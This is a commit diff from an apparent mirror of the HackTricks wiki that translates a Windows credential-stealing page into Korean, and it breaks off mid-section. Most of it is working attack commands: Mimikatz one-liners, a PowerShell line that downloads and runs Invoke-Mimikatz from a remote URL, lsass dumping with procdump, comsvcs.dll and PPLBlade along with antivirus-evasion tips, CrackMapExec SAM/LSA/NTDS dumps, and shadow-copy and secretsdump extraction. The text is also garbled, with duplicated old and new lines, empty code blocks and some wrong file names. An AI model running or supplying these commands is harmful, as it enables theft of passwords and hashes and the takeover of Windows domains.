mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['windows-hardening/stealing-credentials/README.md'] to kr
This commit is contained in:
parent
fe51de5873
commit
9d01df7038
1 changed files with 116 additions and 197 deletions
|
@ -2,20 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Mimikatz를 사용한 자격 증명 도용
|
||||
## Credentials Mimikatz
|
||||
|
||||
## 자격 증명 Mimikatz
|
||||
```bash
|
||||
#Elevate Privileges to extract the credentials
|
||||
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
|
||||
|
@ -29,23 +30,19 @@ lsadump::sam
|
|||
#One liner
|
||||
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
||||
```
|
||||
|
||||
\*\*[이 페이지](credentials-mimikatz.md)\*\*에서 Mimikatz가 수행할 수 있는 다른 작업을 찾아보세요.
|
||||
**Mimikatz로 할 수 있는 다른 작업은** [**이 페이지**](credentials-mimikatz.md)**에서 찾을 수 있습니다.**
|
||||
|
||||
### Invoke-Mimikatz
|
||||
|
||||
```bash
|
||||
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
|
||||
Invoke-Mimikatz -DumpCreds #Dump creds from memory
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
|
||||
```
|
||||
[**여기에서 몇 가지 가능한 자격 증명 보호에 대해 알아보세요.**](credentials-protections.md) **이 보호는 Mimikatz가 일부 자격 증명을 추출하는 것을 방지할 수 있습니다.**
|
||||
|
||||
[**여기에서 가능한 일부 자격 증명 보호에 대해 알아보세요.**](credentials-protections.md) **이 보호 기능은 Mimikatz가 일부 자격 증명을 추출하는 것을 방지할 수 있습니다.**
|
||||
|
||||
## Meterpreter를 사용한 자격 증명
|
||||
|
||||
피해자 내부에서 **비밀번호와 해시를 검색**하기 위해 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **을 사용하세요.**
|
||||
## Meterpreter로 자격 증명
|
||||
|
||||
피해자 내부에서 **비밀번호와 해시를 검색하기 위해** 내가 만든 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials)을 사용하세요.
|
||||
```bash
|
||||
#Credentials from SAM
|
||||
post/windows/gather/smart_hashdump
|
||||
|
@ -62,19 +59,14 @@ mimikatz_command -f "sekurlsa::logonpasswords"
|
|||
mimikatz_command -f "lsadump::lsa /inject"
|
||||
mimikatz_command -f "lsadump::sam"
|
||||
```
|
||||
|
||||
## AV 우회
|
||||
|
||||
### Procdump + Mimikatz
|
||||
|
||||
**SysInternals**의 **Procdump**는 **Microsoft의 정품 도구**이기 때문에 Defender에서 감지되지 않습니다.\
|
||||
이 도구를 사용하여 **lsass 프로세스를 덤프**하고, 덤프를 **다운로드**하고, 덤프에서 **로컬로 자격 증명을 추출**할 수 있습니다.
|
||||
|
||||
{% code title="lsass 덤프하기" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
**SysInternals의 Procdump**은 [**SysInternals**](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)의 **합법적인 Microsoft 도구**이기 때문에 Defender에 의해 탐지되지 않습니다.\
|
||||
이 도구를 사용하여 **lsass 프로세스를 덤프**하고, **덤프를 다운로드**한 후 **로컬에서 자격 증명을 추출**할 수 있습니다.
|
||||
|
||||
{% code title="Dump lsass" %}
|
||||
```bash
|
||||
#Local
|
||||
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
|
@ -82,8 +74,9 @@ C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
|||
net use Z: https://live.sysinternals.com
|
||||
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="덤프에서 자격 증명 추출하기" %}
|
||||
{% code title="Extract credentials from the dump" %}
|
||||
```c
|
||||
//Load the dump
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
|
@ -92,50 +85,46 @@ mimikatz # sekurlsa::logonPasswords
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이 프로세스는 [SprayKatz](https://github.com/aas-n/spraykatz)를 사용하여 자동으로 수행됩니다: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
||||
이 과정은 [SprayKatz](https://github.com/aas-n/spraykatz)를 사용하여 자동으로 수행됩니다: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
||||
|
||||
**참고**: 일부 **AV**는 **procdump.exe를 사용하여 lsass.exe를 덤프하는 것을 악성으로 감지**할 수 있습니다. 이는 **"procdump.exe"와 "lsass.exe"** 문자열을 감지하기 때문입니다. 따라서 lsass.exe의 **PID를 procdump에게 인수로 전달하는 것이 더 은밀**합니다.
|
||||
**참고**: 일부 **AV**는 **procdump.exe를 사용하여 lsass.exe를 덤프**하는 것을 **악성**으로 **감지**할 수 있습니다. 이는 **"procdump.exe"와 "lsass.exe"** 문자열을 **감지**하기 때문입니다. 따라서 **lsass.exe의 이름** 대신 **PID**를 procdump에 **인수**로 **전달**하는 것이 **더 은밀**합니다.
|
||||
|
||||
### **comsvcs.dll**을 사용하여 lsass 덤프하기
|
||||
### **comsvcs.dll**을 사용하여 lsass 덤프
|
||||
|
||||
`C:\Windows\System32`에서 찾을 수 있는 **comsvcs.dll**은 충돌 발생 시 프로세스 메모리를 덤프하는 역할을 합니다. 이 DLL에는 `rundll32.exe`를 사용하여 호출되는 \*\*`MiniDumpW`\*\*라는 함수가 포함되어 있습니다.\
|
||||
첫 번째 두 인수를 사용하는 것은 관계가 없지만, 세 번째 인수는 세 가지 구성 요소로 나뉩니다. 덤프할 프로세스 ID가 첫 번째 구성 요소이고, 덤프 파일 위치가 두 번째를 나타내며, 세 번째 구성 요소는 엄격히 **full**이어야 합니다. 대체 옵션은 존재하지 않습니다.\
|
||||
이 세 가지 구성 요소를 구문 분석한 후, DLL은 덤프 파일을 생성하고 지정된 프로세스의 메모리를 이 파일로 전송합니다.\
|
||||
**comsvcs.dll**을 사용하여 lsass 프로세스를 덤프하는 것은 procdump를 업로드하고 실행할 필요가 없으므로 실행 가능합니다. 이 방법에 대한 자세한 내용은 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)에서 설명되어 있습니다.
|
||||
|
||||
다음 명령을 사용하여 실행합니다:
|
||||
`C:\Windows\System32`에 있는 **comsvcs.dll**이라는 DLL은 **충돌 시 프로세스 메모리를 덤프**하는 역할을 합니다. 이 DLL에는 `rundll32.exe`를 사용하여 호출할 수 있는 **`MiniDumpW`**라는 **함수**가 포함되어 있습니다.\
|
||||
첫 두 인수를 사용하는 것은 중요하지 않지만, 세 번째 인수는 세 가지 구성 요소로 나뉩니다. 덤프할 프로세스 ID가 첫 번째 구성 요소를 이루고, 덤프 파일 위치가 두 번째를 나타내며, 세 번째 구성 요소는 **full**이라는 단어입니다. 다른 옵션은 없습니다.\
|
||||
이 세 가지 구성 요소를 구문 분석하면, DLL은 덤프 파일을 생성하고 지정된 프로세스의 메모리를 이 파일로 전송합니다.\
|
||||
**comsvcs.dll**을 사용하여 lsass 프로세스를 덤프하는 것이 가능하며, 이를 통해 procdump를 업로드하고 실행할 필요가 없습니다. 이 방법은 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)에서 자세히 설명되어 있습니다.
|
||||
|
||||
다음 명령어가 실행에 사용됩니다:
|
||||
```bash
|
||||
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
||||
```
|
||||
**이 과정을 자동화하려면** [**lssasy**](https://github.com/Hackndo/lsassy)**를 사용할 수 있습니다.**
|
||||
|
||||
**이 프로세스를** [**lssasy**](https://github.com/Hackndo/lsassy)**로 자동화할 수 있습니다.**
|
||||
### **Task Manager로 lsass 덤프하기**
|
||||
|
||||
### **작업 관리자를 사용하여 lsass 덤프하기**
|
||||
|
||||
1. 작업 표시줄에서 마우스 오른쪽 버튼을 클릭하고 작업 관리자를 선택합니다.
|
||||
1. 작업 표시줄을 마우스 오른쪽 버튼으로 클릭하고 작업 관리자를 클릭합니다.
|
||||
2. 자세히 보기를 클릭합니다.
|
||||
3. 프로세스 탭에서 "로컬 보안 권한 프로세스" 프로세스를 검색합니다.
|
||||
4. "로컬 보안 권한 프로세스" 프로세스를 마우스 오른쪽 버튼으로 클릭하고 "덤프 파일 생성"을 선택합니다.
|
||||
3. 프로세스 탭에서 "Local Security Authority Process" 프로세스를 찾습니다.
|
||||
4. "Local Security Authority Process" 프로세스를 마우스 오른쪽 버튼으로 클릭하고 "덤프 파일 생성"을 클릭합니다.
|
||||
|
||||
### procdump을 사용하여 lsass 덤프하기
|
||||
|
||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)는 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 스위트의 일부인 Microsoft 서명된 이진 파일입니다.
|
||||
### procdump으로 lsass 덤프하기
|
||||
|
||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)는 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 스위트의 일부인 Microsoft 서명 바이너리입니다.
|
||||
```
|
||||
Get-Process -Name LSASS
|
||||
.\procdump.exe -ma 608 lsass.dmp
|
||||
```
|
||||
## Dumpin lsass with PPLBlade
|
||||
|
||||
## PPLBlade을 사용하여 lsass 덤프하기
|
||||
|
||||
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade)는 메모리 덤프를 남기지 않고 원격 작업 스테이션으로 전송하면서 메모리 덤프를 난독화하는 Protected Process Dumper 도구입니다.
|
||||
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade)는 메모리 덤프를 난독화하고 디스크에 저장하지 않고 원격 워크스테이션으로 전송할 수 있는 Protected Process Dumper Tool입니다.
|
||||
|
||||
**주요 기능**:
|
||||
|
||||
1. PPL 보호 우회
|
||||
2. Defender 시그니처 기반 탐지 메커니즘을 피하기 위해 메모리 덤프 파일을 난독화
|
||||
3. 디스크에 남기지 않고 RAW 및 SMB 업로드 방법을 사용하여 메모리 덤프 업로드 (무파일 덤프)
|
||||
2. Defender의 시그니처 기반 탐지 메커니즘을 피하기 위해 메모리 덤프 파일 난독화
|
||||
3. 디스크에 저장하지 않고 RAW 및 SMB 업로드 방법으로 메모리 덤프 업로드 (파일리스 덤프)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -145,146 +134,97 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod
|
|||
|
||||
## CrackMapExec
|
||||
|
||||
### SAM 해시 덤프하기
|
||||
### Dump SAM hashes
|
||||
|
||||
SAM 해시 덤프하기
|
||||
```
|
||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
||||
```
|
||||
### LSA secrets 덤프
|
||||
|
||||
### LSA 비밀 정보 덤프
|
||||
### Dumping LSA secrets with mimikatz
|
||||
|
||||
#### Description
|
||||
|
||||
LSA (Local Security Authority) 비밀 정보 덤프는 Windows 운영 체제에서 저장된 인증 정보를 검색하는 데 사용되는 기술입니다. 이 기술을 사용하면 시스템에 저장된 사용자 계정 비밀번호, 원격 데스크톱 비밀번호, 웹 브라우저 자동 완성 비밀번호 등을 알아낼 수 있습니다.
|
||||
|
||||
#### Technique
|
||||
|
||||
1. Mimikatz를 다운로드하고 실행합니다.
|
||||
2. `privilege::debug` 명령을 사용하여 디버그 권한을 얻습니다.
|
||||
3. `sekurlsa::logonpasswords` 명령을 사용하여 LSA 비밀 정보를 덤프합니다.
|
||||
4. 덤프된 결과에서 필요한 인증 정보를 찾습니다.
|
||||
|
||||
#### Example
|
||||
mimikatz를 사용하여 LSA secrets를 덤프하는 방법은 다음과 같습니다:
|
||||
|
||||
```
|
||||
mimikatz # privilege::debug
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
mimikatz # token::elevate
|
||||
mimikatz # lsadump::secrets
|
||||
```
|
||||
|
||||
#### Mitigation
|
||||
### Dumping LSA secrets with secretsdump.py
|
||||
|
||||
LSA 비밀 정보 덤프를 방지하기 위해 다음 조치를 취할 수 있습니다:
|
||||
secretsdump.py를 사용하여 LSA secrets를 덤프하는 방법은 다음과 같습니다:
|
||||
|
||||
* 최신 보안 패치를 설치하여 시스템을 업데이트합니다.
|
||||
* 관리자 권한을 가진 사용자만 시스템에 액세스할 수 있도록 제한합니다.
|
||||
* 강력한 암호 정책을 설정하고, 주기적으로 암호를 변경하도록 유도합니다.
|
||||
* 보안 솔루션을 사용하여 악성 코드 및 악성 동작을 탐지하고 차단합니다.
|
||||
* LSA 보안 정책을 구성하여 비밀 정보 덤프를 방지합니다.
|
||||
```
|
||||
secretsdump.py -just-dc-ntlm <domain>/<username>@<dc_ip>
|
||||
```
|
||||
|
||||
### Dumping LSA secrets with CrackMapExec
|
||||
|
||||
CrackMapExec를 사용하여 LSA secrets를 덤프하는 방법은 다음과 같습니다:
|
||||
|
||||
```
|
||||
cme smb <target_ip> -u <username> -p <password> --lsa
|
||||
```
|
||||
```
|
||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
||||
```
|
||||
|
||||
### 대상 DC에서 NTDS.dit 덤프하기
|
||||
|
||||
```plaintext
|
||||
NTDS.dit 파일은 Windows 도메인 컨트롤러(DC)에서 사용자 계정 정보를 저장하는 데이터베이스입니다. 이 파일을 덤프하여 계정 정보를 획득할 수 있습니다.
|
||||
|
||||
1. DC에 로그인합니다.
|
||||
2. 관리자 권한으로 명령 프롬프트를 엽니다.
|
||||
3. ntdsutil 명령을 실행합니다.
|
||||
4. activate instance ntds 명령을 실행합니다.
|
||||
5. ifm 명령을 실행합니다.
|
||||
6. create full <경로> 명령을 실행하여 NTDS.dit 파일을 지정한 경로에 저장합니다.
|
||||
7. quit 명령을 실행하여 ntdsutil을 종료합니다.
|
||||
```
|
||||
|
||||
위의 단계를 따라하면 대상 DC에서 NTDS.dit 파일을 덤프하여 계정 정보를 획득할 수 있습니다.
|
||||
|
||||
```
|
||||
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
||||
```
|
||||
|
||||
### 대상 DC에서 NTDS.dit 암호 기록 덤프하기
|
||||
|
||||
```plaintext
|
||||
1. 먼저, 관리자 권한으로 명령 프롬프트를 엽니다.
|
||||
2. 다음 명령을 실행하여 NTDS.dit 파일을 복사합니다.
|
||||
### 대상 DC에서 NTDS.dit 비밀번호 기록 덤프하기
|
||||
```
|
||||
|
||||
```plaintext
|
||||
ntdsutil
|
||||
activate instance ntds
|
||||
ifm
|
||||
create full c:\temp
|
||||
quit
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||
```
|
||||
|
||||
3. 복사된 NTDS.dit 파일을 로컬 컴퓨터로 복사합니다.
|
||||
4. 다음 명령을 실행하여 NTDS.dit 파일을 해시로 변환합니다.
|
||||
|
||||
````
|
||||
```plaintext
|
||||
secretsdump.py -ntds ntds.dit -system SYSTEM hive -outputfile hashes.txt
|
||||
````
|
||||
5. 해시 파일인 `hashes.txt`에는 암호 기록이 포함되어 있습니다.
|
||||
|
||||
```
|
||||
|
||||
이렇게 하면 대상 DC에서 NTDS.dit 파일의 암호 기록을 덤프할 수 있습니다.
|
||||
```
|
||||
|
||||
\#\~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||
|
||||
````
|
||||
### 각 NTDS.dit 계정의 pwdLastSet 속성 표시
|
||||
|
||||
To show the pwdLastSet attribute for each NTDS.dit account, you can use the following PowerShell command:
|
||||
### 각 NTDS.dit 계정에 대한 pwdLastSet 속성 표시
|
||||
|
||||
```powershell
|
||||
Get-ADUser -Filter * -Properties pwdLastSet | Select-Object Name, pwdLastSet
|
||||
````
|
||||
|
||||
This command retrieves all user accounts from the NTDS.dit database and displays the Name and pwdLastSet attributes for each account.
|
||||
|
||||
$domain = "yourdomain.com"
|
||||
$creds = Get-Credential
|
||||
$Session = New-PSSession -ComputerName "yourdomaincontroller" -Credential $creds
|
||||
Invoke-Command -Session $Session -ScriptBlock {
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter * -Property pwdLastSet | Select-Object Name, pwdLastSet
|
||||
}
|
||||
```
|
||||
```
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
||||
```
|
||||
## Stealing SAM & SYSTEM
|
||||
|
||||
## SAM 및 SYSTEM 도용하기
|
||||
이 파일들은 _C:\windows\system32\config\SAM_ 및 _C:\windows\system32\config\SYSTEM_에 **위치**해야 합니다. 하지만 **일반적인 방법으로는 복사할 수 없습니다**. 왜냐하면 이 파일들은 보호되어 있기 때문입니다.
|
||||
|
||||
이 파일들은 _C:\windows\system32\config\SAM_ 및 \_C:\windows\system32\config\SYSTEM\_에 **위치**해야 합니다. 그러나 그들은 보호되어 있기 때문에 **일반적인 방식으로 복사할 수 없습니다**.
|
||||
|
||||
### 레지스트리로부터
|
||||
|
||||
이 파일들을 도용하는 가장 쉬운 방법은 레지스트리에서 복사하는 것입니다:
|
||||
### From Registry
|
||||
|
||||
이 파일들을 훔치는 가장 쉬운 방법은 레지스트리에서 복사본을 얻는 것입니다:
|
||||
```
|
||||
reg save HKLM\sam sam
|
||||
reg save HKLM\system system
|
||||
reg save HKLM\security security
|
||||
```
|
||||
**Download** those files to your Kali machine and **extract the hashes** using:
|
||||
|
||||
**Kali** 기계로 해당 파일을 다운로드하고 다음을 사용하여 해시를 추출하십시오:
|
||||
|
||||
```bash
|
||||
# 명령어 예시
|
||||
```
|
||||
```
|
||||
samdump2 SYSTEM SAM
|
||||
impacket-secretsdump -sam sam -security security -system system LOCAL
|
||||
```
|
||||
|
||||
### 볼륨 그림자 복사
|
||||
### Volume Shadow Copy
|
||||
|
||||
이 서비스를 사용하여 보호된 파일을 복사할 수 있습니다. 관리자 권한이 필요합니다.
|
||||
|
||||
#### vssadmin 사용
|
||||
#### vssadmin 사용하기
|
||||
|
||||
vssadmin 바이너리는 Windows Server 버전에서만 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
vssadmin create shadow /for=C:
|
||||
#Copy SAM
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
|
||||
#Copy SYSTEM
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
|
||||
#Copy ntds.dit
|
||||
|
@ -293,9 +233,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
|
|||
# You can also create a symlink to the shadow copy and access it
|
||||
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
||||
```
|
||||
|
||||
하지만 **Powershell**에서도 동일한 작업을 수행할 수 있습니다. 다음은 **SAM 파일을 복사하는 방법의 예시**입니다 (사용된 하드 드라이브는 "C:"이며 C:\users\Public에 저장됩니다). 하지만 이를 사용하여 보호된 파일을 복사할 수 있습니다:
|
||||
|
||||
하지만 **Powershell**에서도 동일하게 할 수 있습니다. 이것은 **SAM 파일을 복사하는 방법**의 예입니다 (사용된 하드 드라이브는 "C:"이고 C:\users\Public에 저장됨) 하지만 이 방법을 사용하여 보호된 파일을 복사할 수 있습니다:
|
||||
```bash
|
||||
$service=(Get-Service -name VSS)
|
||||
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
||||
|
@ -304,130 +242,111 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'")
|
|||
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
||||
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
||||
```
|
||||
|
||||
책에서의 코드: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
|
||||
|
||||
### Invoke-NinjaCopy
|
||||
|
||||
마지막으로, [**PS 스크립트 Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)를 사용하여 SAM, SYSTEM 및 ntds.dit의 사본을 만들 수도 있습니다.
|
||||
|
||||
마지막으로, SAM, SYSTEM 및 ntds.dit의 복사본을 만들기 위해 [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)를 사용할 수도 있습니다.
|
||||
```bash
|
||||
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
||||
```
|
||||
## **Active Directory Credentials - NTDS.dit**
|
||||
|
||||
## **Active Directory 자격 증명 - NTDS.dit**
|
||||
**NTDS.dit** 파일은 **Active Directory**의 핵심으로, 사용자 객체, 그룹 및 그들의 멤버십에 대한 중요한 데이터를 보유하고 있습니다. 이 파일은 도메인 사용자의 **비밀번호 해시**가 저장되는 곳입니다. 이 파일은 **Extensible Storage Engine (ESE)** 데이터베이스이며 **_%SystemRoom%/NTDS/ntds.dit_**에 위치해 있습니다.
|
||||
|
||||
**NTDS.dit** 파일은 **Active Directory**의 핵심으로 알려져 있으며 사용자 개체, 그룹 및 그들의 멤버십에 대한 중요한 데이터를 보유합니다. 도메인 사용자의 **비밀번호 해시**가 저장되는 곳입니다. 이 파일은 **Extensible Storage Engine (ESE)** 데이터베이스이며 _**%SystemRoom%/NTDS/ntds.dit**_에 위치합니다.
|
||||
이 데이터베이스 내에는 세 가지 주요 테이블이 유지됩니다:
|
||||
|
||||
이 데이터베이스에서는 세 가지 주요 테이블이 유지됩니다:
|
||||
- **Data Table**: 이 테이블은 사용자 및 그룹과 같은 객체에 대한 세부 정보를 저장하는 역할을 합니다.
|
||||
- **Link Table**: 그룹 멤버십과 같은 관계를 추적합니다.
|
||||
- **SD Table**: 각 객체에 대한 **보안 설명자**가 여기에 저장되어, 저장된 객체의 보안 및 접근 제어를 보장합니다.
|
||||
|
||||
* **데이터 테이블**: 이 테이블은 사용자 및 그룹과 같은 개체에 대한 세부 정보를 저장하는 역할을 담당합니다.
|
||||
* **링크 테이블**: 그룹 멤버십과 같은 관계를 추적합니다.
|
||||
* **SD 테이블**: 저장된 개체의 보안 및 액세스 제어를 보장하기 위해 각 개체의 **보안 기술자**가 여기에 저장됩니다.
|
||||
더 많은 정보는 여기에서 확인할 수 있습니다: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
||||
|
||||
자세한 정보: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
||||
Windows는 _Ntdsa.dll_을 사용하여 해당 파일과 상호 작용하며, 이는 _lsass.exe_에 의해 사용됩니다. 따라서, **NTDS.dit** 파일의 **일부**는 **`lsass`** 메모리 내에 위치할 수 있습니다 (성능 향상을 위해 **캐시**를 사용하여 최근에 접근한 데이터를 찾을 수 있습니다).
|
||||
|
||||
Windows는 \_Ntdsa.dll\_을 사용하여 해당 파일과 상호 작용하며 \_lsass.exe\_에서 사용됩니다. 그런 다음 **NTDS.dit** 파일의 **일부**는 **`lsass`** 메모리 내에 위치할 수 있습니다 (성능 향상을 위해 **캐시**를 사용하여 최근 액세스한 데이터를 찾을 수 있습니다).
|
||||
|
||||
#### NTDS.dit 내의 해시 해독
|
||||
#### NTDS.dit 내부의 해시 복호화
|
||||
|
||||
해시는 3번 암호화됩니다:
|
||||
|
||||
1. **BOOTKEY**와 **RC4**를 사용하여 \*\*비밀번호 암호화 키 (PEK)\*\*를 해독합니다.
|
||||
2. **PEK**와 **RC4**를 사용하여 **해시**를 해독합니다.
|
||||
3. **DES**를 사용하여 **해시**를 해독합니다.
|
||||
1. **BOOTKEY**와 **RC4**를 사용하여 비밀번호 암호화 키(**PEK**) 복호화.
|
||||
2. **PEK**와 **RC4**를 사용하여 **해시** 복호화.
|
||||
3. **DES**를 사용하여 **해시** 복호화.
|
||||
|
||||
**PEK**은 **모든 도메인 컨트롤러에서 동일한 값**을 가지고 있지만, **NTDS.dit** 파일 내에서 **도메인 컨트롤러의 SYSTEM 파일의 BOOTKEY**를 사용하여 **암호화**됩니다 (도메인 컨트롤러 간에 다릅니다). 이것이 NTDS.dit 파일에서 자격 증명을 가져오려면 **NTDS.dit 및 SYSTEM 파일** (_C:\Windows\System32\config\SYSTEM_)이 필요한 이유입니다.
|
||||
**PEK**는 **모든 도메인 컨트롤러**에서 **동일한 값**을 가지지만, **도메인 컨트롤러의 SYSTEM 파일 (도메인 컨트롤러마다 다름)**의 **BOOTKEY**를 사용하여 **NTDS.dit** 파일 내에서 **암호화**됩니다. 따라서 NTDS.dit 파일에서 자격 증명을 얻으려면 **NTDS.dit 및 SYSTEM 파일**이 필요합니다 (_C:\Windows\System32\config\SYSTEM_).
|
||||
|
||||
### Ntdsutil을 사용하여 NTDS.dit 복사
|
||||
|
||||
Windows Server 2008부터 사용 가능합니다.
|
||||
|
||||
Windows Server 2008부터 사용 가능.
|
||||
```bash
|
||||
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
||||
```
|
||||
|
||||
[**volume shadow copy**](./#stealing-sam-and-system) 트릭을 사용하여 **ntds.dit** 파일을 복사할 수도 있습니다. **SYSTEM 파일**의 사본도 필요합니다 (다시 말하지만, 레지스트리에서 덤프하거나 [**volume shadow copy**](./#stealing-sam-and-system) 트릭을 사용하세요).
|
||||
[**볼륨 섀도우 복사본**](./#stealing-sam-and-system) 트릭을 사용하여 **ntds.dit** 파일을 복사할 수도 있습니다. **SYSTEM 파일**의 복사본도 필요하다는 것을 기억하세요 (다시 한 번, [**레지스트리에서 덤프하거나 볼륨 섀도우 복사본**](./#stealing-sam-and-system) 트릭을 사용하세요).
|
||||
|
||||
### **NTDS.dit에서 해시 추출하기**
|
||||
|
||||
**NTDS.dit** 및 **SYSTEM** 파일을 **획득한 후**, \_secretsdump.py\_와 같은 도구를 사용하여 **해시를 추출**할 수 있습니다:
|
||||
|
||||
**NTDS.dit** 및 **SYSTEM** 파일을 **획득**한 후 _secretsdump.py_와 같은 도구를 사용하여 **해시를 추출**할 수 있습니다:
|
||||
```bash
|
||||
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
|
||||
```
|
||||
|
||||
유효한 도메인 관리자 사용자를 사용하여 **자동으로 추출**할 수도 있습니다:
|
||||
|
||||
